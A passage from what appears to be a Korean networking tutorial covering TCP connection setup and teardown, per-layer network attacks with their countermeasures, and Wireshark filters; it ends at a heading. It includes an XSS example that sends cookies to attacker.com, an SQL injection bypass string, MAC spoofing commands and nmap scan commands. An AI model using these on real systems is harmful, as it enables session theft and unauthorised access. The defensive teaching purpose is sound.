๊ฐ ๋‹จ๊ณ„์˜ ์˜๋ฏธ:

  • SYN (Synchronize): ํด๋ผ์ด์–ธํŠธ๊ฐ€ "๋‚˜ ์—ฐ๊ฒฐํ• ๊ฒŒ, ๋‚ด ์ดˆ๊ธฐ ์‹œํ€€์Šค ๋ฒˆํ˜ธ๋Š” 100์ด์•ผ"๋ผ๊ณ  ์•Œ๋ฆฐ๋‹ค. ์„œ๋ฒ„๋Š” ์ด ์š”์ฒญ์„ ๋ฐ›๊ณ  half-open ์ƒํƒœ๋กœ ๋Œ€๊ธฐํ•œ๋‹ค.
  • SYN-ACK: ์„œ๋ฒ„๊ฐ€ "์•Œ๊ฒ ์–ด, ๊ทธ๋ฆฌ๊ณ  ๋‚ด ์‹œํ€€์Šค ๋ฒˆํ˜ธ๋Š” 200์ด์•ผ"๋ผ๊ณ  ์‘๋‹ตํ•œ๋‹ค. ack=101์€ "100๋ฒˆ ๋ฐ›์•˜์œผ๋‹ˆ ๋‹ค์Œ์€ 101๋ฒˆ ์ค˜"๋ผ๋Š” ์˜๋ฏธ๋‹ค.
  • ACK (Acknowledge): ํด๋ผ์ด์–ธํŠธ๊ฐ€ "์ข‹์•„, ๋‚˜๋„ ๋„ค 200๋ฒˆ ๋ฐ›์•˜์–ด. ๋‹ค์Œ์€ 201๋ฒˆ ์ค˜"๋ผ๊ณ  ํ™•์ธํ•œ๋‹ค. ์ด์ œ ์–‘๋ฐฉํ–ฅ ํ†ต์‹ ์ด ์—ด๋ฆฐ๋‹ค.

์‹œํ€€์Šค ๋ฒˆํ˜ธ๋ฅผ ๊ตํ™˜ํ•˜๋Š” ์ด์œ ๋Š” ๋ฐ์ดํ„ฐ ์ˆœ์„œ๋ฅผ ๋ณด์žฅํ•˜๊ธฐ ์œ„ํ•ด์„œ๋‹ค. ํŒจํ‚ท์ด ๋‹ค๋ฅธ ๊ฒฝ๋กœ๋กœ ์™€์„œ ์ˆœ์„œ๊ฐ€ ๋’ค๋ฐ”๋€Œ์–ด๋„, ์‹œํ€€์Šค ๋ฒˆํ˜ธ๋กœ ์˜ฌ๋ฐ”๋ฅธ ์ˆœ์„œ๋กœ ์žฌ์กฐํ•ฉํ•œ๋‹ค.

4-way Handshake โ€” ์—ฐ๊ฒฐ ์ข…๋ฃŒ

์—ฐ๊ฒฐ์„ ๋‹ซ์„ ๋•Œ๋Š” ์–‘๋ฐฉํ–ฅ์„ ๊ฐ๊ฐ ๋Š์–ด์•ผ ํ•˜๋ฏ€๋กœ ๋„ค ๋‹จ๊ณ„๊ฐ€ ํ•„์š”ํ•˜๋‹ค.

์„œ๋ฒ„ํด๋ผ์ด์–ธํŠธ์„œ๋ฒ„ํด๋ผ์ด์–ธํŠธFIN_WAIT_1CLOSE_WAITFIN_WAIT_2(๋‚จ์€ ๋ฐ์ดํ„ฐ ์ „์†ก ๊ฐ€๋Šฅ)TIME_WAIT (2MSL ๋Œ€๊ธฐ)CLOSED2MSL ํ›„ CLOSEDFIN (ํด๋ผ์ด์–ธํŠธโ†’์„œ๋ฒ„ ์ „์†ก ์ข…๋ฃŒ)ACKFIN (์„œ๋ฒ„โ†’ํด๋ผ์ด์–ธํŠธ ์ „์†ก ์ข…๋ฃŒ)ACK

TIME_WAIT ์ƒํƒœ๋ž€?

ํด๋ผ์ด์–ธํŠธ๊ฐ€ ๋งˆ์ง€๋ง‰ ACK๋ฅผ ๋ณด๋‚ธ ๋’ค ๋ฐ”๋กœ ๋‹ซ์ง€ ์•Š๊ณ  2MSL(Maximum Segment Lifetime, ๋ณดํ†ต 60~120์ดˆ) ๋™์•ˆ ๊ธฐ๋‹ค๋ฆฌ๋Š” ์ƒํƒœ๋‹ค.

์ด์œ ๊ฐ€ ๋‘ ๊ฐ€์ง€๋‹ค:

  1. ๋งˆ์ง€๋ง‰ ACK๊ฐ€ ์œ ์‹ค๋์„ ๋•Œ: ์„œ๋ฒ„๊ฐ€ ACK๋ฅผ ๋ชป ๋ฐ›์œผ๋ฉด FIN์„ ์žฌ์ „์†กํ•œ๋‹ค. ํด๋ผ์ด์–ธํŠธ๊ฐ€ ์ด๋ฏธ ๋‹ซํ˜”๋‹ค๋ฉด ์„œ๋ฒ„๊ฐ€ ์˜์›ํžˆ ๊ธฐ๋‹ค๋ฆฌ๊ฒŒ ๋œ๋‹ค. TIME_WAIT ๋™์•ˆ ์žฌ์ „์†ก๋œ FIN์„ ๋ฐ›์œผ๋ฉด ๋‹ค์‹œ ACK๋ฅผ ๋ณด๋‚ผ ์ˆ˜ ์žˆ๋‹ค.
  2. ์ด์ „ ์—ฐ๊ฒฐ์˜ ํŒจํ‚ท์ด ์ƒˆ ์—ฐ๊ฒฐ์— ์„ž์ด๋Š” ๊ฒƒ ๋ฐฉ์ง€: ๊ฐ™์€ ํฌํŠธ๋กœ ๋ฐ”๋กœ ์ƒˆ ์—ฐ๊ฒฐ์„ ๋งบ์œผ๋ฉด, ์ง€์—ฐ ๋„์ฐฉํ•œ ์ด์ „ ํŒจํ‚ท์ด ์ƒˆ ์—ฐ๊ฒฐ์˜ ๋ฐ์ดํ„ฐ์ฒ˜๋Ÿผ ์ฒ˜๋ฆฌ๋  ์ˆ˜ ์žˆ๋‹ค. 2MSL์ด ์ง€๋‚˜๋ฉด ์ด์ „ ํŒจํ‚ท์€ ๋ชจ๋‘ ๋„คํŠธ์›Œํฌ์—์„œ ์‚ฌ๋ผ์ง„๋‹ค.

์‹ค๋ฌด์—์„œ๋Š” ์„œ๋ฒ„๊ฐ€ ๋งŽ์€ ์—ฐ๊ฒฐ์„ ์ฒ˜๋ฆฌํ•  ๋•Œ TIME_WAIT ์†Œ์ผ“์ด ์Œ“์—ฌ์„œ ํฌํŠธ๊ฐ€ ๊ณ ๊ฐˆ๋˜๋Š” ๋ฌธ์ œ๊ฐ€ ์ƒ๊ธฐ๊ธฐ๋„ ํ•œ๋‹ค. ss -tan | grep TIME_WAIT | wc -l๋กœ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.


๊ณ„์ธต๋ณ„ ๋ณด์•ˆ ์œ„ํ˜‘๊ณผ ๋Œ€์‘ ๋ฐฉ๋ฒ•

OSI ๊ณ„์ธต์„ ์ดํ•ดํ•˜๋ฉด ๋ณด์•ˆ ๊ณต๊ฒฉ์ด ์–ด๋А ๊ณ„์ธต์„ ๋…ธ๋ฆฌ๋Š”์ง€ ํŒŒ์•…ํ•˜๊ธฐ ์‰ฌ์›Œ์ง„๋‹ค. ๊ณ„์ธต๋ณ„๋กœ ๋Œ€ํ‘œ์ ์ธ ์œ„ํ˜‘๊ณผ ๋Œ€์‘ ๋ฐฉ๋ฒ•์„ ์ •๋ฆฌํ–ˆ๋‹ค.

๊ณ„์ธต๋ณ„ ์œ„ํ˜‘ ์š”์•ฝํ‘œ

๊ณ„์ธต ๋Œ€ํ‘œ ์œ„ํ˜‘ ๋Œ€์‘ ๋ฐฉ๋ฒ•
1๊ณ„์ธต (๋ฌผ๋ฆฌ) ๋ฌผ๋ฆฌ ๋„์ฒญ, ์ผ€์ด๋ธ” ํƒญํ•‘ ๋ฌผ๋ฆฌ์  ์ ‘๊ทผ ํ†ต์ œ, ๊ด‘์ผ€์ด๋ธ” ์‚ฌ์šฉ
2๊ณ„์ธต (๋ฐ์ดํ„ฐ๋งํฌ) MAC Spoofing, ARP Poisoning Dynamic ARP Inspection, Port Security
3๊ณ„์ธต (๋„คํŠธ์›Œํฌ) IP Spoofing, ICMP Flood uRPF, ๋ฐฉํ™”๋ฒฝ ingress ํ•„ํ„ฐ๋ง
4๊ณ„์ธต (์ „์†ก) SYN Flood, ํฌํŠธ ์Šค์บ๋‹ SYN Cookie, Rate Limiting, ๋ฐฉํ™”๋ฒฝ
7๊ณ„์ธต (์‘์šฉ) XSS, SQL Injection, HTTP Smuggling WAF, ์ž…๋ ฅ ๊ฒ€์ฆ, ํŒŒ๋ผ๋ฏธํ„ฐํ™” ์ฟผ๋ฆฌ

1๊ณ„์ธต: ๋ฌผ๋ฆฌ ๋„์ฒญ (Physical Tapping)

๊ณต๊ฒฉ ๋ฐฉ์‹: ์ด๋”๋„ท ์ผ€์ด๋ธ”์— ๋ฌผ๋ฆฌ์ ์œผ๋กœ ์ ‘์ด‰ํ•ด ์‹ ํ˜ธ๋ฅผ ๋ณต์‚ฌํ•˜๊ฑฐ๋‚˜, ๋ฌด์„  ์‹ ํ˜ธ๋ฅผ ์บก์ฒ˜ํ•œ๋‹ค. ํ—ˆ๋ธŒ(Hub) ํ™˜๊ฒฝ์—์„œ๋Š” ๊ฐ™์€ ์„ธ๊ทธ๋จผํŠธ์˜ ๋ชจ๋“  ํŠธ๋ž˜ํ”ฝ์ด ๋ชจ๋“  ํฌํŠธ๋กœ ๋‚˜๊ฐ€๊ธฐ ๋•Œ๋ฌธ์— ํŠนํžˆ ์ทจ์•ฝํ•˜๋‹ค.

์‹ค์ œ ์‚ฌ๋ก€: ์˜คํ”ˆ Wi-Fi์—์„œ ํŒจํ‚ท ์บก์ฒ˜. ํ—ˆ๋ธŒ ๊ธฐ๋ฐ˜ ๋„คํŠธ์›Œํฌ์—์„œ Wireshark๋กœ ํƒ€ PC ํŠธ๋ž˜ํ”ฝ ๊ฐ์ฒญ.

๋Œ€์‘:

  • ํ—ˆ๋ธŒ ๋Œ€์‹  ์Šค์œ„์น˜๋ฅผ ์‚ฌ์šฉํ•œ๋‹ค (์Šค์œ„์น˜๋Š” ํ•ด๋‹น ํฌํŠธ์—๋งŒ ํŠธ๋ž˜ํ”ฝ ์ „์†ก).
  • ๋ฌด์„  ๊ตฌ๊ฐ„์€ WPA3 ์•”ํ˜ธํ™”๋ฅผ ์ ์šฉํ•œ๋‹ค.
  • ๋ฌผ๋ฆฌ์ ์œผ๋กœ ์ค‘์š”ํ•œ ๊ตฌ๊ฐ„์€ ๊ด‘์ผ€์ด๋ธ”์„ ์‚ฌ์šฉํ•œ๋‹ค (๊ด‘์ผ€์ด๋ธ”์€ ํƒญํ•‘์ด ๋งค์šฐ ์–ด๋ ต๊ณ , ์‹œ๋„ ์‹œ ์‹ ํ˜ธ ๊ฐ์‡ ๋กœ ํƒ์ง€ ๊ฐ€๋Šฅ).
  • ๋ฐ์ดํ„ฐ์„ผํ„ฐ ๊ธฐ์ค€์œผ๋กœ๋Š” ๋ฝ(lock)์ด ์žˆ๋Š” ์ผ€์ด๋ธ” ์ž ๊ธˆ์žฅ์น˜, CCTV๋ฅผ ํ™œ์šฉํ•œ๋‹ค.

2๊ณ„์ธต: MAC Spoofing / ARP Poisoning

MAC Spoofing (MAC ์ฃผ์†Œ ์œ„์žฅ)

๊ณต๊ฒฉ์ž๊ฐ€ ์ž์‹ ์˜ ๋„คํŠธ์›Œํฌ ์นด๋“œ MAC ์ฃผ์†Œ๋ฅผ ๋‹ค๋ฅธ ์žฅ์น˜์˜ MAC ์ฃผ์†Œ๋กœ ๋ฐ”๊ฟ” ์Šค์œ„์น˜๋ฅผ ์†์ด๋Š” ๊ณต๊ฒฉ์ด๋‹ค.

# Linux์—์„œ MAC ์ฃผ์†Œ ๋ณ€๊ฒฝ (ํ…Œ์ŠคํŠธ ์šฉ๋„)
ip link set eth0 down
ip link set eth0 address AA:BB:CC:DD:EE:FF
ip link set eth0 up

์Šค์œ„์น˜๋Š” MAC ์ฃผ์†Œ ๊ธฐ๋ฐ˜์œผ๋กœ ํฌํŠธ๋ฅผ ๊ฒฐ์ •ํ•˜๋ฏ€๋กœ, MAC์„ ์œ„์žฅํ•˜๋ฉด ๋‹ค๋ฅธ ์žฅ์น˜๋กœ ํ–ฅํ•˜๋Š” ํŠธ๋ž˜ํ”ฝ์„ ๊ฐ€๋กœ์ฑŒ ์ˆ˜ ์žˆ๋‹ค.

ARP Poisoning (ARP ์บ์‹œ ์˜ค์—ผ)

ARP๋Š” "์ด IP ์ฃผ์†Œ์— ํ•ด๋‹นํ•˜๋Š” MAC ์ฃผ์†Œ๊ฐ€ ๋ญ์•ผ?"๋ฅผ ๋ฌป๋Š” ํ”„๋กœํ† ์ฝœ์ด๋‹ค. ARP์—๋Š” ์ธ์ฆ ๋ฉ”์ปค๋‹ˆ์ฆ˜์ด ์—†๋‹ค. ๊ณต๊ฒฉ์ž๊ฐ€ ๊ฐ€์งœ ARP ์‘๋‹ต์„ ๋ณด๋‚ด ํ”ผํ•ด์ž์˜ ARP ์บ์‹œ๋ฅผ ์˜ค์—ผ์‹œํ‚ค๋ฉด, ํ”ผํ•ด์ž์˜ ํŠธ๋ž˜ํ”ฝ์ด ๊ณต๊ฒฉ์ž๋ฅผ ๊ฑฐ์ณ ๊ฐ€๊ฒŒ ๋œ๋‹ค โ€” ์ด๊ฒƒ์ด ARP ์Šคํ‘ธํ•‘/๋งจ์ธ๋”๋ฏธ๋“ค(MitM) ๊ณต๊ฒฉ์ด๋‹ค.

[ํ”ผํ•ด์ž] โ†’ ARP: "192.168.1.1(๊ฒŒ์ดํŠธ์›จ์ด)์˜ MAC์€?"
[๊ณต๊ฒฉ์ž] โ†’ ARP Reply: "192.168.1.1์˜ MAC์€ ๋‚ด MAC์ด์•ผ" (๊ฑฐ์ง“)
[ํ”ผํ•ด์ž] โ†’ ARP ์บ์‹œ์— ์ž˜๋ชป๋œ ์ •๋ณด ์ €์žฅ
[ํ”ผํ•ด์ž] โ†’ ์ดํ›„ ๊ฒŒ์ดํŠธ์›จ์ด๋กœ ๋ณด๋‚ด๋Š” ํŠธ๋ž˜ํ”ฝ์ด ๊ณต๊ฒฉ์ž์—๊ฒŒ ์ „๋‹ฌ

๋Œ€์‘:

  • Dynamic ARP Inspection (DAI): ์Šค์œ„์น˜์—์„œ DHCP ๋ฐ”์ธ๋”ฉ ํ…Œ์ด๋ธ”๊ณผ ๋น„๊ตํ•ด ๋น„์ •์ƒ ARP ํŒจํ‚ท์„ ์ฐจ๋‹จํ•œ๋‹ค.
  • Port Security: ์Šค์œ„์น˜ ํฌํŠธ๋‹น ํ—ˆ์šฉ MAC ์ฃผ์†Œ ์ˆ˜๋ฅผ ์ œํ•œํ•œ๋‹ค.
  • Static ARP Entry: ์ค‘์š” ์‹œ์Šคํ…œ(๊ฒŒ์ดํŠธ์›จ์ด ๋“ฑ)์˜ ARP๋ฅผ ์ •์ ์œผ๋กœ ๊ณ ์ •ํ•œ๋‹ค.
  • ARP ์Šคํ‘ธํ•‘ ํƒ์ง€ ๋„๊ตฌ (arpwatch ๋“ฑ) ํ™œ์šฉ.

3๊ณ„์ธต: IP Spoofing / ICMP Flood

IP Spoofing (IP ์ฃผ์†Œ ์œ„์กฐ)

ํŒจํ‚ท์˜ ์ถœ๋ฐœ์ง€ IP ์ฃผ์†Œ๋ฅผ ์œ„์กฐํ•˜๋Š” ๊ณต๊ฒฉ์ด๋‹ค. ๊ณต๊ฒฉ์ž์˜ ์‹ค์ œ ์œ„์น˜๋ฅผ ์ˆจ๊ธฐ๊ฑฐ๋‚˜, ๋ฐ˜์‚ฌ(reflection) ๊ณต๊ฒฉ์— ํ™œ์šฉ๋œ๋‹ค.

๋ฐ˜์‚ฌ/์ฆํญ ๊ณต๊ฒฉ ์˜ˆ์‹œ:

๊ณต๊ฒฉ์ž โ†’ DNS ์„œ๋ฒ„์— ์ฟผ๋ฆฌ ์ „์†ก (์ถœ๋ฐœ์ง€ IP = ํ”ผํ•ด์ž IP๋กœ ์œ„์กฐ)
DNS ์„œ๋ฒ„ โ†’ ํ”ผํ•ด์ž์—๊ฒŒ ๋Œ€์šฉ๋Ÿ‰ ์‘๋‹ต ์ „์†ก (์ฆํญ)

์ž‘์€ ์ฟผ๋ฆฌ๋กœ ํฐ ์‘๋‹ต์„ ์œ ๋„ํ•ด ํ”ผํ•ด์ž์—๊ฒŒ ํญํƒ„์ฒ˜๋Ÿผ ์Ÿ์•„๋‚ด๋Š” ๋ฐฉ์‹์ด๋‹ค.

ICMP Flood (ํ•‘ ํญํƒ„)

๋Œ€๋Ÿ‰์˜ ICMP Echo Request(ping)๋ฅผ ๋ณด๋‚ด ๋Œ€์—ญํญ์ด๋‚˜ CPU๋ฅผ ๊ณ ๊ฐˆ์‹œํ‚ค๋Š” ๊ณต๊ฒฉ์ด๋‹ค. Smurf Attack์€ ๋ธŒ๋กœ๋“œ์บ์ŠคํŠธ ์ฃผ์†Œ๋กœ ์ถœ๋ฐœ์ง€ IP๋ฅผ ํ”ผํ•ด์ž๋กœ ์œ„์กฐํ•œ ICMP๋ฅผ ๋ณด๋‚ด ๋„คํŠธ์›Œํฌ ๋‚ด ๋ชจ๋“  ์žฅ์น˜๊ฐ€ ํ”ผํ•ด์ž์—๊ฒŒ ping ์‘๋‹ต์„ ๋ณด๋‚ด๊ฒŒ ๋งŒ๋“œ๋Š” ๋ณ€ํ˜•์ด๋‹ค.

๋Œ€์‘:

  • uRPF (Unicast Reverse Path Forwarding): ๋ผ์šฐํ„ฐ๊ฐ€ ํŒจํ‚ท ์ถœ๋ฐœ์ง€ IP์˜ ๊ฒฝ๋กœ๋ฅผ ์—ญ๋ฐฉํ–ฅ์œผ๋กœ ํ™•์ธํ•ด, ์œ„์กฐ๋œ IP์—์„œ ์˜จ ํŒจํ‚ท์„ ์ฐจ๋‹จํ•œ๋‹ค.
  • ISP ๋ ˆ๋ฒจ์˜ BCP38 ๊ตฌํ˜„ (egress ํ•„ํ„ฐ๋ง์œผ๋กœ ์ž๊ธฐ ๋„คํŠธ์›Œํฌ์—์„œ ์œ„์กฐ IP ์œ ์ถœ ์ฐจ๋‹จ).
  • ๋ฐฉํ™”๋ฒฝ์—์„œ ์™ธ๋ถ€์—์„œ ๋‚ด๋ถ€ IP๋กœ ์œ„์žฅ๋œ ํŒจํ‚ท ์ฐจ๋‹จ (ingress ํ•„ํ„ฐ๋ง).
  • ICMP๋ฅผ ์™„์ „ํžˆ ์ฐจ๋‹จํ•˜๊ธฐ๋ณด๋‹ค๋Š” Rate Limiting์œผ๋กœ ์ œํ•œํ•œ๋‹ค (์™„์ „ ์ฐจ๋‹จ ์‹œ traceroute ๋“ฑ๋„ ์•ˆ ๋จ).

4๊ณ„์ธต: SYN Flood / ํฌํŠธ ์Šค์บ๋‹

SYN Flood

TCP 3-way Handshake๋ฅผ ์•…์šฉํ•œ ๊ณต๊ฒฉ์ด๋‹ค. ๊ณต๊ฒฉ์ž๊ฐ€ ์ˆ˜๋ฐฑ๋งŒ ๊ฐœ์˜ SYN ํŒจํ‚ท์„ ๋ณด๋‚ด๋Š”๋ฐ, ์ด๋•Œ ์ถœ๋ฐœ์ง€ IP๋ฅผ ์œ„์กฐํ•ด์„œ ์„œ๋ฒ„๊ฐ€ SYN-ACK๋ฅผ ๋ณด๋‚ด๋„ ๋Œ์•„์˜ค์ง€ ์•Š๊ฒŒ ํ•œ๋‹ค.

๊ณต๊ฒฉ์ž โ†’ SYN (์ถœ๋ฐœ์ง€ IP ์œ„์กฐ)
์„œ๋ฒ„   โ†’ SYN-ACK ์ „์†ก (but ์‘๋‹ต์ด ์˜ค์ง€ ์•Š์Œ)
์„œ๋ฒ„   โ†’ half-open ์—ฐ๊ฒฐ์„ ๋ฐฑ๋กœ๊ทธ ํ์— ์ €์žฅํ•˜๋ฉฐ ๋Œ€๊ธฐ
...
๋ฐฑ๋กœ๊ทธ ํ ๊ฐ€๋“ ์ฐธ โ†’ ์ •์ƒ ์—ฐ๊ฒฐ ์š”์ฒญ ์ฒ˜๋ฆฌ ๋ถˆ๊ฐ€

๋Œ€์‘:

  • SYN Cookie: ๋ฐฑ๋กœ๊ทธ ํ๋ฅผ ์‚ฌ์šฉํ•˜์ง€ ์•Š๊ณ , SYN-ACK์˜ ์‹œํ€€์Šค ๋ฒˆํ˜ธ์— ์—ฐ๊ฒฐ ์ •๋ณด๋ฅผ ์ธ์ฝ”๋”ฉํ•œ๋‹ค. ์‹ค์ œ ACK๊ฐ€ ๋Œ์•„์™€์•ผ ์—ฐ๊ฒฐ์„ ์ˆ˜๋ฆฝํ•œ๋‹ค (Linux์—์„œ net.ipv4.tcp_syncookies=1).
  • Rate Limiting: ์ถœ๋ฐœ์ง€ IP๋‹น SYN ์š”์ฒญ ์†๋„๋ฅผ ์ œํ•œํ•œ๋‹ค.
  • ๋ฐฉํ™”๋ฒฝ / DDoS ๋ฐฉ์–ด ์žฅ๋น„: ๋น„์ •์ƒ SYN ํŒจํ‚ท์„ ํ•„ํ„ฐ๋งํ•œ๋‹ค.

ํฌํŠธ ์Šค์บ๋‹

๊ณต๊ฒฉ์ž๊ฐ€ ๋Œ€์ƒ ์‹œ์Šคํ…œ์˜ ์—ด๋ฆฐ ํฌํŠธ๋ฅผ ํ™•์ธํ•˜๋Š” ์ •์ฐฐ ํ–‰์œ„๋‹ค. nmap์ด ๋Œ€ํ‘œ์ ์ธ ๋„๊ตฌ๋‹ค.

# TCP SYN ์Šค์บ” (์Šคํ…”์Šค ์Šค์บ”)
nmap -sS 192.168.1.1

# ์„œ๋น„์Šค ๋ฒ„์ „ ํƒ์ง€
nmap -sV 192.168.1.1

# OS ํƒ์ง€
nmap -O 192.168.1.1

๋Œ€์‘:

  • ๋ถˆํ•„์š”ํ•œ ํฌํŠธ๋Š” ๋‹ซ๋Š”๋‹ค.
  • ๋ฐฉํ™”๋ฒฝ์—์„œ ํ—ˆ์šฉ๋œ ํฌํŠธ๋งŒ ์—ด์–ด๋‘”๋‹ค.
  • IDS/IPS๋กœ ํฌํŠธ ์Šค์บ๋‹ ํŒจํ„ด(๋‹จ์‹œ๊ฐ„ ๋‹ค์ˆ˜ ํฌํŠธ ์ ‘๊ทผ)์„ ํƒ์ง€ํ•œ๋‹ค.
  • Port Knocking์œผ๋กœ SSH ๋“ฑ ๊ด€๋ฆฌ ํฌํŠธ๋ฅผ ์ˆจ๊ธด๋‹ค.

7๊ณ„์ธต: XSS / SQL Injection / HTTP Request Smuggling

XSS (Cross-Site Scripting)

๊ณต๊ฒฉ์ž๊ฐ€ ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์›น ํŽ˜์ด์ง€์— ์‚ฝ์ž…ํ•˜๊ณ , ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž์˜ ๋ธŒ๋ผ์šฐ์ €์—์„œ ์‹คํ–‰๋˜๊ฒŒ ๋งŒ๋“œ๋Š” ๊ณต๊ฒฉ์ด๋‹ค.

<!-- ๊ฒŒ์‹œ๊ธ€ ์ œ๋ชฉ์— ์‚ฝ์ž…๋œ ์•…์„ฑ ์ฝ”๋“œ -->
<script>document.location='https://attacker.com/?c='+document.cookie</script>

ํ”ผํ•ด์ž๊ฐ€ ์ด ๊ฒŒ์‹œ๊ธ€์„ ๋ณด๋ฉด, ์ฟ ํ‚ค(์„ธ์…˜ ํ† ํฐ)๊ฐ€ ๊ณต๊ฒฉ์ž ์„œ๋ฒ„๋กœ ์ „์†ก๋œ๋‹ค.

๋Œ€์‘: ์ž…๋ ฅ๊ฐ’ ์ด์Šค์ผ€์ดํ”„ ์ฒ˜๋ฆฌ, CSP(Content Security Policy) ํ—ค๋”, HttpOnly ์ฟ ํ‚ค ์†์„ฑ.

SQL Injection

์‚ฌ์šฉ์ž ์ž…๋ ฅ์ด SQL ์ฟผ๋ฆฌ์— ์ง์ ‘ ์‚ฝ์ž…๋  ๋•Œ ๋ฐœ์ƒํ•˜๋Š” ์ทจ์•ฝ์ ์ด๋‹ค.

-- ์ •์ƒ ์ฟผ๋ฆฌ ์˜๋„
SELECT * FROM users WHERE username = 'alice' AND password = '1234';

-- ๊ณต๊ฒฉ์ž ์ž…๋ ฅ: username = "' OR '1'='1"
SELECT * FROM users WHERE username = '' OR '1'='1' AND password = '...';
-- 1=1 ์€ ํ•ญ์ƒ ์ฐธ โ†’ ์ธ์ฆ ์šฐํšŒ

๋Œ€์‘: ํŒŒ๋ผ๋ฏธํ„ฐํ™” ์ฟผ๋ฆฌ(Prepared Statement), ORM ์‚ฌ์šฉ, ์ž…๋ ฅ ๊ฒ€์ฆ, ์ตœ์†Œ ๊ถŒํ•œ DB ๊ณ„์ •.

HTTP Request Smuggling

ํ”„๋ก ํŠธ์—”๋“œ ์„œ๋ฒ„(๋ฆฌ๋ฒ„์Šค ํ”„๋ก์‹œ)์™€ ๋ฐฑ์—”๋“œ ์„œ๋ฒ„๊ฐ€ HTTP ์š”์ฒญ์˜ ๊ฒฝ๊ณ„๋ฅผ ๋‹ค๋ฅด๊ฒŒ ํ•ด์„ํ•˜๋Š” ์ฐจ์ด๋ฅผ ์•…์šฉํ•˜๋Š” ๊ณต๊ฒฉ์ด๋‹ค. Content-Length์™€ Transfer-Encoding: chunked ํ—ค๋”๋ฅผ ๋™์‹œ์— ๋ณด๋‚ด ์š”์ฒญ ๊ฒฝ๊ณ„๋ฅผ ํ๋ฆฌ๊ฒŒ ๋งŒ๋“ ๋‹ค.

๊ณต๊ฒฉ์— ์„ฑ๊ณตํ•˜๋ฉด ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž์˜ ์š”์ฒญ์„ ๊ฐ€๋กœ์ฑ„๊ฑฐ๋‚˜, ๋‚ด๋ถ€ API์— ์ ‘๊ทผํ•˜๊ฑฐ๋‚˜, ์บ์‹œ๋ฅผ ์˜ค์—ผ์‹œํ‚ฌ ์ˆ˜ ์žˆ๋‹ค.

๋Œ€์‘: ํ”„๋ก์‹œ์™€ ๋ฐฑ์—”๋“œ ์„œ๋ฒ„ ๊ฐ„ HTTP ํŒŒ์„œ๋ฅผ ์ผ๊ด€๋˜๊ฒŒ ๊ตฌ์„ฑ, HTTP/2 ์‚ฌ์šฉ(smuggling์— ๊ฐ•ํ•จ), WAF ์ ์šฉ.


Wireshark๋กœ ํŒจํ‚ท ์บก์ฒ˜ ์‹ค์Šต

์ด๋ก ์œผ๋กœ ๋ฐฐ์šด OSI ๊ณ„์ธต์„ ๋ˆˆ์œผ๋กœ ํ™•์ธํ•˜๋Š” ๊ฐ€์žฅ ์ข‹์€ ๋ฐฉ๋ฒ•์ด Wireshark๋‹ค. ๊ฐ ๊ณ„์ธต์˜ ํ—ค๋”๋ฅผ ์‹ค์ œ๋กœ ๋ณผ ์ˆ˜ ์žˆ๋‹ค.

Wireshark์—์„œ ๋ณด์ด๋Š” ๊ณ„์ธต ๊ตฌ์กฐ

Wireshark๋ฅผ ์—ด๊ณ  ํŒจํ‚ท ํ•˜๋‚˜๋ฅผ ํด๋ฆญํ•˜๋ฉด ํ•˜๋‹จ์— ๊ณ„์ธต๋ณ„๋กœ ํŒŒ์‹ฑ๋œ ์ •๋ณด๊ฐ€ ํŠธ๋ฆฌ ํ˜•ํƒœ๋กœ ๋‚˜์˜จ๋‹ค.

Frame 42: 74 bytes on wire                     โ† 1๊ณ„์ธต (๋ฌผ๋ฆฌ - ํ”„๋ ˆ์ž„ ํฌ๊ธฐ)
Ethernet II, Src: aa:bb:cc:dd:ee:ff            โ† 2๊ณ„์ธต (MAC ์ฃผ์†Œ)
Internet Protocol Version 4, Src: 192.168.1.5  โ† 3๊ณ„์ธต (IP)
Transmission Control Protocol, Src Port: 54321 โ† 4๊ณ„์ธต (TCP/ํฌํŠธ)
Hypertext Transfer Protocol                     โ† 7๊ณ„์ธต (HTTP)

ํŠธ๋ฆฌ์˜ ๊ฐ ํ•ญ๋ชฉ์„ ํŽผ์น˜๋ฉด ํ•ด๋‹น ํ—ค๋”์˜ ๋ชจ๋“  ํ•„๋“œ๋ฅผ ๋ณผ ์ˆ˜ ์žˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด IP ํ—ค๋”๋ฅผ ํŽผ์น˜๋ฉด TTL, ํ”„๋กœํ† ์ฝœ ๋ฒˆํ˜ธ, ์ฒดํฌ์„ฌ๊นŒ์ง€ ํ™•์ธ๋œ๋‹ค.

์ž์ฃผ ์“ฐ๋Š” ํ•„ํ„ฐ

Wireshark์˜ ๋””์Šคํ”Œ๋ ˆ์ด ํ•„ํ„ฐ(์ƒ๋‹จ ์ž…๋ ฅ์ฐฝ)๋กœ ์›ํ•˜๋Š” ํŒจํ‚ท๋งŒ ์ถ”๋ ค๋ณผ ์ˆ˜ ์žˆ๋‹ค.

ํ•„ํ„ฐ ์„ค๋ช…
tcp TCP ํŒจํ‚ท๋งŒ ๋ณด๊ธฐ
udp UDP ํŒจํ‚ท๋งŒ ๋ณด๊ธฐ
http HTTP ํŒจํ‚ท๋งŒ ๋ณด๊ธฐ
dns DNS ์ฟผ๋ฆฌ/์‘๋‹ต ๋ณด๊ธฐ
ip.addr == 192.168.1.1 ํŠน์ • IP ๊ด€๋ จ ํŒจํ‚ท
ip.src == 10.0.0.1 ํŠน์ • IP์—์„œ ์ถœ๋ฐœํ•œ ํŒจํ‚ท
tcp.port == 443 ํŠน์ • ํฌํŠธ ๊ด€๋ จ ํŒจํ‚ท
tcp.flags.syn == 1 SYN ํŒจํ‚ท๋งŒ (์—ฐ๊ฒฐ ์‹œ๋„)
tcp.flags.reset == 1 RST ํŒจํ‚ท (์—ฐ๊ฒฐ ๊ฑฐ๋ถ€/๋ฆฌ์…‹)
http.request.method == "GET" HTTP GET ์š”์ฒญ๋งŒ
http contains "password" ํŠน์ • ๋ฌธ์ž์—ด ํฌํ•จ ํŒจํ‚ท

ํ•„ํ„ฐ๋Š” AND/OR ์กฐํ•ฉ๋„ ๊ฐ€๋Šฅํ•˜๋‹ค:

ip.addr == 192.168.1.5 && tcp.port == 80
tcp.flags.syn == 1 && !tcp.flags.ack == 1

3-way Handshake๋ฅผ Wireshark๋กœ ํ™•์ธํ•˜๊ธฐ

TCP ์—ฐ๊ฒฐ ์ˆ˜๋ฆฝ์„ ์ง์ ‘ ๋ณด๊ณ  ์‹ถ๋‹ค๋ฉด:

